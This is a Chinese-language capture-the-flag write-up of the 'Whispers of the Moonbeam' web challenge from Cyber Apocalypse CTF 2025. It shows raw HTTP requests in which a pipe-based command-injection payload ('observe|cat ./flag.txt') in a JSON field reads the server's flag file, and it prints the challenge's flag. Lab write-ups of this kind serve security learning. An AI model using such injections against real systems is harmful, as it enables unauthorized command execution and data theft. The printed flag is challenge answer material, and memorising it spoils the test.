当前位置：首页 > news >正文

ctf-web:命令注入 -- Cyber Apocalypse CTF 2025 月光的低语 Whispers of the Moonbeam

news 来源：原创 2025/6/9 5:42:03

在瓦莱丽亚繁华的首都中心，Moonbeam Tavern 是一个热闹的耳语、赌注和非法交易的中心。在醉酒顾客的笑声和酒杯的叮当声下，据说这家酒馆不仅提供麦芽酒和欢乐——它是间谍、小偷和那些忠于马拉卡事业的人的秘密聚会场所。护卫队了解到，在月光酒馆的隐蔽密室中，一条关键信息正在被交易——暗影面纱制图师的位置，这位线人拥有一张失传已久的地图，详细介绍了马拉卡的要塞防御。如果护卫队有机会突破黑曜石堡垒，他们必须在这张地图落入敌人手中之前获得这张地图。

进入后发现一个类似命令框的东西

🏰 欢迎光临酒馆！键入“help”以获取可用命令。
>help
八卦-📜 听酒馆的低语和谣言
观察——👀 调查顾客和周围环境
检查-🪞 反思你的身份
帮助-📖 查看可用命令
清楚-🧹 一笔勾销
开始-🎲 开始一场机会或技巧的游戏

> gossip
⛏️ '小矮人在莫里亚挖得太深了……有人说他们吵醒了什么
👻 '酒吧女招待低声说，布里附近的旧废墟上有个鬼魂。。。夜晚可怕的嚎啕大哭
🦉 '一位来自北方的护林员谈到巨魔在野外聚集。。。黑暗中有动静
🏴‍☠️ '一个商人从Umbar回来，带着奇怪的小饰品和可怕的故事。。。事情最好还是不要说
🐴 '布里附近有黑衣骑手。。。像坟墓一样寂静。”

eslint.config.js
flag.txt
index.html
node_modules
package.json
postcss.config.js
public
server
src
tailwind.config.js
tsconfig.app.json
tsconfig.json
tsconfig.node.json
vite.config.ts
yarn.lock

抓包发现

POST /api/command HTTP/1.1
Host: 83.136.251.237:52292
Content-Length: 21
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://83.136.251.237:52292
Referer: http://83.136.251.237:52292/
Accept-Encoding: gzip, deflate, br
Cookie: sessionId=cx16afg5mz4
Connection: keep-alive

{"command":"observe"}

尝试命令注入

POST /api/command HTTP/1.1
Host: 83.136.251.237:52292
Content-Length: 36
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://83.136.251.237:52292
Referer: http://83.136.251.237:52292/
Accept-Encoding: gzip, deflate, br
Cookie: sessionId=cx16afg5mz4
Connection: keep-alive

{"command":"observe|cat ./flag.txt"}

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 22 Mar 2025 01:35:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 200
Connection: keep-alive

{"success":true,"output":"💬 The bartender discreetly hands a parchment to a cloaked stranger, who quickly departs.\n\nHTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_7123b0892392f99d302748d4e6cbace8}"}